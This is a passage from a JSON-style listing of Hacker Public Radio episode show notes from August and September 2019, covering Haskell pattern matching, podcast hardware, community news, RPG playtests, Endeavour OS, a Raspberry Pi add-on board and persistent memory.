                                                            \n

                                                            \nSpecial thanks to my playtesters: Klaatu, Thaj, Mark (who was playing Brinn), and Brian!\n

                                                            \n","hostid":107,"series":95,"explicit":1,"license":"CC-0","tags":"rpg, gaming, stardrifter, game construction, playtest","version":0,"downloads":0,"valid":1}, {"id":2888,"date":"2019-08-28","title":"Pattern matching in Haskell","duration":1236,"summary":"Tuula talks about one of their favourite features in Haskell","notes":"

                                                            Pattern matching is one of those features of Haskell that immediately got me interested as it reduces amount of branching inside of functions I write. Basic idea is that if value constructors are for making data, pattern matching is for taking it apart.

                                                            \n

                                                            First example is a function that takes a Bool and returns a respective String:

                                                            \n
                                                            boolToString :: Bool -> String\nboolToString n =\n    if n\n        then "True"\n        else "False"
                                                            \n

                                                            Nothing too fancy, just an if expression inside a function. We can move that if out of there though and define exactly same functionality, but with patterns:

                                                            \n
                                                            boolToString :: Bool -> String\nboolToString True =\n    "True"\n\nboolToString False =\n    "False"
                                                            \n

                                                            There’s one definition for boolToString, but two different patterns used.

                                                            \n

                                                            Second example is bit more complex, this time we have Maybe Int that is being turned into String. Maybe has two value constructors Nothing and Just a. We have two cases for Just, specific one for when it’s Just 1 and more general one Just n that takes care of rest of the cases.

                                                            \n
                                                            isBig :: Maybe Int -> String\nisBig Nothing =\n    "Not at all"\n\nisBig (Just 1) =\n    "Just perfect"\n\nisBig (Just n) =\n    if n < 10\n        then "Just slightly"\n        else "Definitely is"
                                                            \n

                                                            Some example usage:

                                                            \n
                                                            > isBig Nothing\n"Not at all"\n> isBig $ Just 0\n"Just perfect"\n> isBig $ Just 50\n"Definitely is"
                                                            \n

                                                            Pattern matching isn’t limited to algebraic datatypes that we have been working with so far. We can do same things with records. Below is an function used to calculate total fee when cost and customer are known. Each customer can have their own discount percentage, but in addition we’re giving 10% discount to VIP customers:

                                                            \n
                                                            data Customer = Customer\n    { customerName :: String\n    , customerDiscountPct :: Double\n    , vipCustomer :: Bool\n    }\n\ntotalFee :: Double -> Customer -> Double\ntotalFee bill cust@(Customer { vipCustomer = True }) =\n    bill * 0.9 * customerDiscountPct cust\n\ntotalFee bill cust =\n    bill * customerDiscountPct cust
                                                            \n

                                                            There’s two cases of totalFee function. First one is for when passed in Customer has vipCustomer field True. Second one takes care of general case. In the first case we’re using @ to bind Customer as a whole to cust name.

                                                            \n

                                                            Lists can be matched too. The basic idea is exactly the same:

                                                            \n
                                                              \n
                                                            • (x:xs) matches a list with at least one item, x is first item, xs is rest of the items (might be an empty list)
                                                            • \n
                                                            • (x:y:_) matches two first items in a list of at least two items, x is first, y is second, _ is rest
                                                            • \n
                                                            • [] matches empty list
                                                            • \n
                                                            • (x:[]) matches list of exactly one item
                                                            • \n
                                                            \n

                                                            Underscore _ matches to everything without binding value to a name. This is useful when you don’t care about exact value, so you don’t want to give it a name. One could give it a name, but compiler will issue a warning if there are unused values in the code.

                                                            \n

                                                            Next example is recursively counting amount if items in a list using pattern matching:

                                                            \n
                                                            count :: [a] -> Int\ncount [] =\n    0\n\ncount (x:xs) =\n    1 + count xs
                                                            \n

                                                            Fibonacci series is series of number which starts with 0, 1 and then rest of the numbers are sum of two previous ones: 0, 1, 1, 2, 3, 5, 8…

                                                            \n

                                                            To calculate number in series, we can write following code (this is extremely slow way of calculating them by the way):

                                                            \n
                                                            fibonacci :: Int -> Int\nfibonacci 0 =\n    0\n\nfibonacci 1 =\n    1\n\nfibonacci n =\n    fibonacci (n - 1) + fibonacci (n - 2)
                                                            \n

                                                            Last trick in our sleeve for now is case expression. This allows us to do pattern matching inside of a function. Otherwise it works in the same way. Our fibonacci function could be defined as:

                                                            \n
                                                            fibonacci :: Int -> Int\nfibonacci n =\n    case n of\n        0 ->\n            0\n\n        1 ->\n            1\n\n        n ->\n            fibonacci (n - 1) + fibonacci (n - 2)
                                                            \n

                                                            Questions, comments and feedback are welcome. Best way to catch me nowadays is either email or in fediverse where I’m Tuula@mastodon.social

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"pattern matching","version":0,"downloads":0,"valid":1}, {"id":2889,"date":"2019-08-29","title":"Describing how I listen to podcasts PART 2","duration":1052,"summary":"In this episode I cover the hardware I've used over the years to listen to podcasts.","notes":"

                                                            Short Summary

                                                            \n

                                                            In this series I cover how I listen to podcasts and how the process has change over the years. In this episode I cover the hardware I’ve used over the years to listen to podcasts.

                                                            \n
                                                              \n
                                                            • Link to HPR 2112 (Home Server) episode mentioned in this podcast
                                                              \nhttps://hackerpublicradio.org/eps.php?id=2112

                                                            • \n
                                                            • Link to HPR 2106 (Hpodder) Episode mentioned in this podcast
                                                              \nhttps://hackerpublicradio.org/eps.php?id=2106

                                                            • \n
                                                            • The cordless headphones I use are analogue cordless headphones they operate in the UHF 860 MHz RF spectrum and use Frequency modulation

                                                            • \n
                                                            • (Picture 01) shows a pair of JVC cordless headphones, these were my first pair of cordless headphones, from memory they were reasonably comfortable and lasted a reasonably long time, they eventually gave way when the strap along the top completely split if you look carefully you can see evidence of this in the picture. \"Picture-01.JPG\"

                                                            • \n
                                                            • I think my 2nd set pair of cordless headphones were made by Phillips, unfortunately I don’t have a picture of these. The headphones were too big and kept falling from my head.

                                                            • \n
                                                            • (Picture 02) shows a pair of Sony headphones that I can’t even remember owning! I’ve lost count of how many cordless headphones I’ve owned over the years, these were also too big and regularly fell off my head, there are probably other pairs which I have forgotten about. It took a lot of trial an error to find a pair that would fit properly. \"Picture-02.JPG\"

                                                            • \n
                                                            • I think my 3rd set of cordless headphones were a cheap pair from Liddles, unfortunately I don’t have a picture of these again these were also too big.

                                                            • \n
                                                            • (Picture 03) Shows my current set of cordless headphones, unfortunately my camera refused to work while taking this picture so you’ll not be able to identify the manufacturer which is a great pity as they are absolutely great also the lighting in here is very bad so you won’t be able to make out the writing printed on them :) \"Picture-03.JPG\"

                                                            • \n
                                                            • Compaq N610C laptop
                                                              \n\"https://1.bp.blogspot.com/_73lLV6srqwY/SxB7dASme9I/AAAAAAAAAVU/QsNP-O2chaU/s1600/missionaccomplished.jpg\"

                                                            • \n
                                                            • Screen
                                                              \nhttps://en.wikipedia.org/wiki/GNU_Screen

                                                            • \n
                                                            • EEE PC Laptop
                                                              \nhttps://en.wikipedia.org/wiki/Asus_Eee_PC

                                                            • \n
                                                            • Pictures (04 and 05) are of my Nokia N810 \"Picture-04.JPG\"
                                                              \n\"Picture-05.JPG\"

                                                            • \n
                                                            • Below is a link from wikipedia covering the Nokia N810.
                                                              \nhttps://en.wikipedia.org/wiki/Nokia_N810

                                                            • \n
                                                            • Links to shows where klaatu references the Nokia N770 which came out before the Nokia N810 but is very similar
                                                              \nhttps://hackerpublicradio.org/eps.php?id=0228
                                                              \nhttps://hackerpublicradio.org/eps.php?id=0416

                                                            • \n
                                                            • Nexus 7, first generation
                                                              \nhttps://en.wikipedia.org/wiki/Nexus_7_(2012)

                                                            • \n
                                                            • Psion 3C
                                                              \nhttps://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3c

                                                            • \n
                                                            • Raspberry pi
                                                              \nhttps://en.wikipedia.org/wiki/Raspberry_Pi

                                                            • \n
                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Audio, Podcasts, Linux, Command Line, PDA, hardware","version":0,"downloads":0,"valid":1}, {"id":2890,"date":"2019-08-30","title":"Penguicon 2019 Report","duration":843,"summary":"Penguicon 2019 took place on May 3-5, 2018 in Southfield, Michigan","notes":"

                                                            Penguicon 2019 is a combined technology and science fiction convention in Southfield, Michigan, a suburb of Detroit, and presents over 500 hours of programming over the entire weekend. Of this, around 100 hours are open source, tech-related. In this episode I tell you about my own personal experience at Penguicon this year.

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":96,"explicit":0,"license":"CC-BY-SA","tags":"Penguicon, Open Source, Convention","version":0,"downloads":0,"valid":1}, {"id":2891,"date":"2019-09-02","title":"HPR Community News for August 2019","duration":2224,"summary":"HPR Volunteers talk about shows released and comments posted in August 2019","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            2869Thu2019-08-01building a bike, following in John Kulp's footstepsBrian in Ohio
                                                            2870Fri2019-08-02Hierarchy of EvidenceAhuka
                                                            2871Mon2019-08-05HPR Community News for July 2019HPR Volunteers
                                                            2872Tue2019-08-06Shoe Lace TipsMrX
                                                            2873Wed2019-08-07Death Angel - Card gameTuula
                                                            2874Thu2019-08-08Repair of G.E. Variable Speed Cassette RecorderJon Kulp
                                                            2875Fri2019-08-09cutting up the framesBrian in Ohio
                                                            2876Mon2019-08-12Sausage OrzottoWindigo
                                                            2877Tue2019-08-13Using Zenity with PdmenuDave Morriss
                                                            2878Wed2019-08-14Type classes in HaskellTuula
                                                            2879Thu2019-08-15Describing how I listen to podcasts PART 1MrX
                                                            2880Fri2019-08-16Evaluating a StudyAhuka
                                                            2881Mon2019-08-19Automatically split album into tracks in AudacityKen Fallon
                                                            2882Tue2019-08-20ONICS Part 1: Basic CommandsGabriel Evenfire
                                                            2883Wed2019-08-21Pass the pigsTuula
                                                            2884Thu2019-08-22TASCAM Porta 02 MiniStudio 4-Track Cassette Recorder DemonstrationJon Kulp
                                                            2885Fri2019-08-23ONICS Part 2: Filtering and ExtractionGabriel Evenfire
                                                            2886Mon2019-08-26INFOSECONDoperat0r
                                                            2887Tue2019-08-27Stardrifter RPG Playtest Part 01lostnbronx
                                                            2888Wed2019-08-28Pattern matching in HaskellTuula
                                                            2889Thu2019-08-29Describing how I listen to podcasts PART 2MrX
                                                            2890Fri2019-08-30Penguicon 2019 ReportAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 24 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 7 comments on\n2 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2859\n(2019-07-18) \"HPR NYE Show 2018-2019 part 7\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nMike Ray on 2019-08-05:\n\"First hour\"
                                                              • \n
                                                              • \nComment 4:\nMrsXoke on 2019-08-05:\n\"To Mike Ray\"
                                                              • \n
                                                              • \nComment 5:\nMike Ray on 2019-08-06:\n\"To Mike Ray\"
                                                              • \n
                                                              • \nComment 6:\nMike Ray on 2019-08-06:\n\"Active shooter drills\"
                                                              • \n
                                                              • \nComment 7:\nMike Ray on 2019-08-06:\n\"Faith and values\"
                                                              • \n
                                                              • \nComment 8:\nfolky on 2019-08-08:\n\"You can fastforward\"

                                                              \n
                                                            • hpr2863\n(2019-07-24) \"Simplified application architectures for improved security\"\nby Beeza.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nclacke on 2019-08-14:\n\"Dynamic vs static linking doesn't matter\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 17 comments on 7 of this month's shows:

                                                            \n
                                                            • hpr2869\n(2019-08-01) \"building a bike, following in John Kulp's footsteps\"\nby Brian in Ohio.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJon Kulp on 2019-08-01:\n\"Recycled Recumbents\"

                                                              \n
                                                            • hpr2876\n(2019-08-12) \"Sausage Orzotto\"\nby Windigo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBookewyrmm on 2019-08-12:\n\"Salt\"
                                                              • Comment 2:\nWindigo on 2019-08-17:\n\"Re: Salt\"
                                                              • Comment 3:\nDave Morriss on 2019-08-20:\n\"Loved this. I was right there with you in the kitchen\"

                                                              \n
                                                            • hpr2881\n(2019-08-19) \"Automatically split album into tracks in Audacity\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJonathan Kulp on 2019-08-22:\n\"Automation is nice\"

                                                              \n
                                                            • hpr2882\n(2019-08-20) \"ONICS Part 1: Basic Commands\"\nby Gabriel Evenfire.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2019-08-22:\n\"Great project and excellent show\"
                                                              • Comment 2:\nGabriel Evenfire on 2019-08-25:\n\"Good to hear\"

                                                              \n
                                                            • hpr2884\n(2019-08-22) \"TASCAM Porta 02 MiniStudio 4-Track Cassette Recorder Demonstration\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2019-08-22:\n\"fantastic\"
                                                              • Comment 2:\nTuula on 2019-08-22:\n\"awesome\"
                                                              • Comment 3:\njezra on 2019-08-22:\n\"super fun!\"
                                                              • Comment 4:\nJon Kulp on 2019-08-22:\n\"By ear\"
                                                              • Comment 5:\nmcnalu on 2019-08-24:\n\"4tracks4TW\"
                                                              • Comment 6:\nJon Kulp on 2019-08-24:\n\"Can’t bounce\"
                                                              • Comment 7:\njohanv on 2019-08-29:\n\"great show\"

                                                              \n
                                                            • hpr2887\n(2019-08-27) \"Stardrifter RPG Playtest Part 01\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-08-27:\n\"Eagerly waiting for more\"
                                                              • Comment 2:\nKen Fallon on 2019-08-28:\n\"A future podcast in the future feed\"

                                                              \n
                                                            • hpr2890\n(2019-08-30) \"Penguicon 2019 Report\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2019-08-31:\n\"solder/\"sodder\"/souder\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-August/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month: Dave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 10 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2892,"date":"2019-09-03","title":"Stardrifter RPG Playtest Part 02","duration":2247,"summary":"Lostnbronx and friends playtest a new, original RPG system.","notes":"

                                                            \nThis episode is Part 2 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.\n

                                                            \n

                                                            \nThis series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.\n

                                                            \n

                                                            \nIn this part, we continue to go over the rules of the game, and discuss them in some detail.\n

                                                            \n

                                                            \nSpecial thanks to my playtesters: Klaatu, Thaj, Mark (who was playing Brinn), and Brian!\n

                                                            ","hostid":107,"series":95,"explicit":1,"license":"CC-0","tags":"rpg, gaming, stardrifter, game construction, playtest","version":0,"downloads":0,"valid":1}, {"id":2893,"date":"2019-09-04","title":"Whats in the box! Part 2","duration":727,"summary":"NYbill finishes a guitar pedal kit Timttmy sent him. ","notes":"

                                                            In this short follow up episode NYbill troubleshoots the Tremlo guitar kit Timttmy sent him.

                                                            \n

                                                            Here is a hint, there were two problems, not just one.

                                                            \n

                                                            Pics for the episode:

                                                            \n

                                                            https://media.gunmonkeynet.net/u/nybill/collection/whats-in-the-box-part-2/

                                                            \n","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"guitar, pedal, tremlo, kit, DIY, soldering","version":0,"downloads":0,"valid":1}, {"id":2894,"date":"2019-09-05","title":"Repairing a Musical Instrument Case","duration":1318,"summary":"I talked about repairing the case for a Vietnamese Dan Tranh","notes":"

                                                            In this episode I talk about repairing the case for a Vietnamese Đàn tranh, a zither-like instrument which was donated to the School of Music by a member of the community. I also demonstrate the instrument as best I can so that you can hear what it sounds like.

                                                            \n\n

                                                            See the Flickr photo album that accompanies this show by clicking the image below.

                                                            \n\n

                                                            \"Dan

                                                            \n\n

                                                            Links

                                                            \n\n\n\n

                                                            Credits

                                                            \n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Music, Musical Instruments, Repairs, DIY, Vietnamese Stringed Instruments","version":0,"downloads":0,"valid":1}, {"id":2895,"date":"2019-09-06","title":"The work of fire fighters, part 2","duration":2370,"summary":"The continued introduction into the work of fire fighters","notes":"

                                                            Continued general basic knowledge of fire fighting.
                                                            \nAlso an extended invitation to ask questions in the comments.
                                                            \nps: I started making podcasts one year ago! o/

                                                            ","hostid":369,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"fire fighting, fire brigade","version":0,"downloads":0,"valid":1}, {"id":2896,"date":"2019-09-09","title":"Orange PI Zero LTS version","duration":737,"summary":"A general overview of the Orange PI Zero LTS","notes":"\n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry PI, OrangePI, Armbian, Hobby Computing, VNC","version":0,"downloads":0,"valid":1}, {"id":2897,"date":"2019-09-10","title":"Stardrifter RPG Playtest Part 03","duration":2446,"summary":"Lostnbronx and friends playtest a new, original RPG system.","notes":"

                                                            \nThis episode is Part 3 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.\n

                                                            \n

                                                            \nThis series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.\n

                                                            \n

                                                            \nIn this part, we continue to go over the rules of the game, and then start into the adventure!\n

                                                            \n

                                                            \nSpecial thanks to my playtesters: Klaatu, Thaj, Mark (who was playing Brinn), and Brian!\n

                                                            ","hostid":107,"series":95,"explicit":1,"license":"CC-0","tags":"rpg, gaming, stardrifter, game construction, playtest","version":0,"downloads":0,"valid":1}, {"id":2898,"date":"2019-09-11","title":"Modeling people in space game","duration":1315,"summary":"Tuula talks how they approach modeling people in space game","notes":"

                                                            People are what makes dynasty simulators interesting and this episode will be about them. There isn’t much code this time, mainly just how data is organized. Topic is long and split over several episodes.

                                                            \n

                                                            Some people in game are controlled by computer, while some are controlled by player. There’s no difference on what each can do in game, computer is basically just filling in for players when there aren’t enough players.

                                                            \n

                                                            There’s plenty of data about people, spread over several entities and database tables. Main one is Person, which stores name, gender, sex, date of birth and some stats (and then some more).

                                                            \n

                                                            There are lots of various ways of naming people and I chose to model three for the starters:

                                                            \n
                                                            data PersonName =\n    RegularName FirstName FamilyName (Maybe Cognomen)\n    | SimpleName FirstName (Maybe Cognomen)\n    | RegalName FirstName FamilyName RegnalNumber (Maybe Cognomen)\n    deriving (Show, Read, Eq)
                                                            \n

                                                            The higher the rank, more complicated names you tend to have (for some reason). Later on I’ll try and see if I can add more varied names, like matronyms and patronyms.

                                                            \n

                                                            Sex and gender I’m modeling with simple system of two enumerations, sex can be Female, Male or Intersex, while gender has values Man, Woman, Agender and Nonbinary. System is coarse, but should be enough to get started with the game. Later on, this can be expanded to more nuanced system.

                                                            \n

                                                            Traits are defining features of people. These include things like brave, coward, ambitious, content, honest and such. Values are binary, character either is brave or not. And character can’t be brave and coward at the same time.

                                                            \n

                                                            Relations are modeled as PersonRelation and thus stored in person_relation table:

                                                            \n
                                                            Relation json\n    originatorId PersonId\n    targetId PersonId\n    type RelationType\n    visibility RelationVisibility\n    deriving Show Read Eq
                                                            \n

                                                            I find this corner of the puzzle particular interesting. This models who is parent or child, who is friend or rival. Interconnected web created by relations isn’t completely visible to players (or any other person in game). Relations have visibility, modeled as RelationVisibility, which tells how visible it is. Public ones are known by everyone, family relations are limited to small group of people and secret relations are only known by those who are in the fold. One aspect of the game is acquiring this information.

                                                            \n

                                                            Intel is modeled as HumanIntelligence and stored in human_intelligence table:

                                                            \n
                                                            HumanIntelligence json\n    personId PersonId\n    ownerId PersonId\n    level PersonIntel\n    deriving Show Read Eq
                                                            \n

                                                            Essentially it just lists which character has what information about certain other character. So when displaying information to players, this table has to be referenced in order to know how much to reveal to them.

                                                            \n

                                                            Different types of intels are listed as PersonIntel:

                                                            \n
                                                            data PersonIntel =\n    Stats\n    | Demesne\n    | FamilyRelations\n    | SecretRelations\n    | Opinions OpinionIntel\n    | Traits\n    deriving (Show, Read, Eq)
                                                            \n

                                                            Person related data is sent back to client in PersonReport record (I’m not copying it here as it’s relatively large). We can have a look on how one field is processed.

                                                            \n

                                                            For example, in case of traits. PersonReport has field personReportTraits :: !(Maybe [TraitReport]). Exclamation mark in the beginning of type instructs Haskell that this value should be computed immediately when record is created and not left for later. I’m doing this as I know for sure that it’ll always be used and there’s no advantage on delaying computation for the time when it might be needed.

                                                            \n

                                                            Report creating (high level):

                                                            \n
                                                            personReportTraits = if Traits `elem` targetIntel\n                        then Just $ traitReport <$> targetTraits\n                        else Nothing
                                                            \n

                                                            That first checks that Traits level of intel is available and then creates list of trait reports (one for each trait person has). These have things like trait name, description, trait type and how long the trait is valid. Having separate name and description fields makes it easier to work on client side as I don’t have to come up with descriptions there anymore. I can just use what the server sends to me and be happy.

                                                            \n

                                                            Comments, questions and feedback are welcome. Best way to catch me nowadays is email or fediverse where I’m Tuula@mastodon.social.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"modelling,data","version":0,"downloads":0,"valid":1}, {"id":2899,"date":"2019-09-12","title":"Endeavour OS","duration":99,"summary":"A quick show introducing Endeavour OS","notes":"

                                                            Hi to all you out there in HPR land, this is a quick show to help out with the current summer shortage of shows.

                                                            \n

                                                            So over the last few months I’ve been busy with my new Podcasting career, well it fills in the time now I’m retired. Anyway the Distro-hoppers show has been getting a regular audience and recently we decided to branch out a little and open up the review format to the audience, you can find details of how to do that on the Blog.

                                                            \n

                                                            The most recent show was a review of the new Endeavour OS which has risen from the ashes of Antergos Linux an Arch based OS. Well I decided to use this opportunity to delve into the world of Arch for the first time with Endeavour OS and I can report I was pleasantly surprised with this slick iteration of Arch. OK when you first install Endeavour all you will have is a new XFCE 4.14 DE and some basic software to get you started, you are then expected to do a little research to find out how to install other software you need to get your PC setup the way you like but all the basic information on package management is on the Endeavour OS Wiki and also on the Arch Linux Wiki.

                                                            \n

                                                            If you have thought of trying Arch Linux but would prefer to start with a running Desktop from install then Endeavour OS is definitely the place to start. I have been running it as my daily Driver for over a month and have fallen in love with it.
                                                            \nMy full review is on the Distrohoppers Blog as is a link to the Audio of the show.

                                                            \n

                                                            That’s it for this time, this is Tony Hughes saying goodbye until next time.

                                                            \n

                                                            https://distrohoppersdigest.blogspot.com/

                                                            \n

                                                            https://endeavouros.com/

                                                            \n

                                                            https://www.archlinux.org/

                                                            \n","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"EndeavourOS, Linux, Arch Linux, Distrohopping","version":0,"downloads":0,"valid":1}, {"id":2900,"date":"2019-09-13","title":"Better Social Media 01 - Introduction","duration":711,"summary":"We don't have to use Twitter and Facebook. There are alternatives.","notes":"

                                                            While many people like to use social media, platforms like Twitter and Facebook are very unsatisfying, not to mention inimical to your security and privacy. Fortunately there are alternatives we can try, and in this series I want to explore a few of them. https://www.zwilnik.com/?page_id=1025

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"Fediverse, social media, federated","version":0,"downloads":0,"valid":1}, {"id":2901,"date":"2019-09-16","title":"Describing how I listen to podcasts PART 3","duration":835,"summary":"In this episode I cover the 1st add-on board I purchased for one of my raspberry pi's","notes":"

                                                            In this series I cover how I listen to podcasts and how the process has changed over the years. In this episode I cover the 1st add-on board I purchased for one of my raspberry pi’s I then go on to explain what I do with it.

                                                            \n\n
                                                                sudo apt-get install python{,3}-pifacedigitalio
                                                            \n

                                                            \"Picture
                                                            \nPicture 1, shows the Piface Digital IO board installed on top of my raspberry pi

                                                            \n

                                                            \"Picture
                                                            \nPicture 2, shows the extension board I built. The extension board increases the number of available LED’s and switches. The board is attached via a ribbon cable with the ends of the wire inserted into the green and orange screw down chocolate blocks attached to the Piface Digital IO board.

                                                            \n\n

                                                            Explanation of how to read a binary display

                                                            \n

                                                            The board I built which attaches to the Piface Digital board has a total of 8 LED’s. I use the 8 LED’s to display a number in binary format. In binary each LED has only two values either on or off, with 1 LED you can count to 1 with two LED’s you can count to 3. This may seem confusing if you’ve never dealt with binary before. Starting from the right each subsequent LED represents double the value of the previous one so the 1st LED has a value of 1 the 2nd LED has a value of 2, the third LED has a value of 4 and so on. See below

                                                            \n
                                                            LED Number   8   7   6   5  4  3  2  1\nLED VALUES 128, 64, 32, 16, 8, 4, 2, 1
                                                            \n

                                                            LED on represents 1, LED off represents 0

                                                            \n

                                                            [Example 1] 0 0 0 0 0 0 0 1 [Represented value 1]
                                                            \n1st LED on value = 1

                                                            \n

                                                            [Example 2] 0 0 0 0 0 0 1 1 [Represented value 3]
                                                            \n1st and 2nd LED on, LED VALUE 1 + 2 = 3

                                                            \n

                                                            [Examples 3] 0 0 0 0 1 0 1 0 [Represented value 10]
                                                            \n2nd and 4th LED on, LED VALUE 2 + 8 = 10

                                                            \n

                                                            With practice it gets easy to convert from binary to decimal, at my work we still have a very old computer which contains a front panel with LED’s and binary switches. To load the computer instructions must be loaded in binary using flip switches and LED’s with practice it becomes second nature.

                                                            \n

                                                            Links

                                                            \n\n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Audio, Podcasts, Linux, Command Line, hardware, electronics, Raspberry Pi","version":0,"downloads":0,"valid":1}, {"id":2902,"date":"2019-09-17","title":"Stardrifter RPG Playtest Part 04","duration":3286,"summary":"Lostnbronx and friends playtest a new, original RPG system.","notes":"

                                                            \nThis episode is Part 4 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.\n

                                                            \n

                                                            \nThis series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.\n

                                                            \n

                                                            \nIn this part, the characters have a job prospect...but is it legitimate, or are they being conned?\n

                                                            \n

                                                            \nSpecial thanks to my playtesters: Klaatu, Thaj, Mark (who was playing Brinn), and Brian!\n

                                                            ","hostid":107,"series":95,"explicit":1,"license":"CC-0","tags":"rpg, gaming, stardrifter, game construction, playtest","version":0,"downloads":0,"valid":1}, {"id":2903,"date":"2019-09-18","title":"What is PMEM","duration":453,"summary":"Persistent memory (PMEM), also known as storage-class memory","notes":"

                                                            What is persistent memory?

                                                            \n

                                                            In brief, PMEM is next generation memory technology whose data transfer speed is as good as DRAM (50-300 ns, 100 times faster than SSDs) and unlike DRAM, it can even retain the data after reboots.

                                                            \n

                                                            In detail persistent memory (PMEM) is a solid-state high-performance byte-addressable memory device that resides on the memory bus. Being on the memory bus allows PMEM to have DRAM-like access to data, which means that it has nearly the same speed and latency of DRAM and the nonvolatility of NAND flash. NVDIMM (nonvolatile dual in-line memory module) and Intel 3D XPoint DIMMs (also known as Optane DC persistent memory modules) are two examples of persistent memory technologies.

                                                            \n

                                                            Persistent memory, such as Intel® Optane™ DC Persistent Memory, provides a future-proofed solution. Installed alongside traditional RAM, PMEM has many of the advantages of DRAM, including low latency access. But it comes in greater capacities. Intel® Optane™ DC, for example, will be available in 128GB, 256GB and 512GB sizes.

                                                            \n

                                                            Persistent Memory Benefits

                                                            \n

                                                            Persistent memory in the data center allows applications to run without incurring the latency penalty of going out to storage.

                                                            \n

                                                            The main advantages of persistent memory include:

                                                            \n
                                                              \n
                                                            • Provides access latencies less than those of flash SSDs.
                                                            • \n
                                                            • Increases throughput more than flash storage.
                                                            • \n
                                                            • Cheaper than DRAM.
                                                            • \n
                                                            • PMEM is cacheable. This is a huge advantage over PCIe interconnect, which cannot be cached in the CPU.
                                                            • \n
                                                            • Real-time access to data; allows ultrafast access to large datasets.
                                                            • \n
                                                            • Data persists in memory after power interruption, like flash.

                                                            • \n
                                                            • Persistent Memory Use Cases\n
                                                                \n
                                                              • Fraud detection
                                                              • \n
                                                              • Cyberthreat analysis
                                                              • \n
                                                              • Web-scale personalization
                                                              • \n
                                                              • Financial trading
                                                              • \n
                                                              • Internet of Things (IoT)
                                                              • \n
                                                            • \n
                                                            \n
                                                                Non       \\\n    Volatile  /- Non-volatile: you plug it off and on again, and the Information is still there\n\n    Double    \\\n    In-line   | DIMM: This the HW format\n    Memory    |\n    Module    /
                                                            \n

                                                            Persistent Memory Vs. NVRAM

                                                            \n

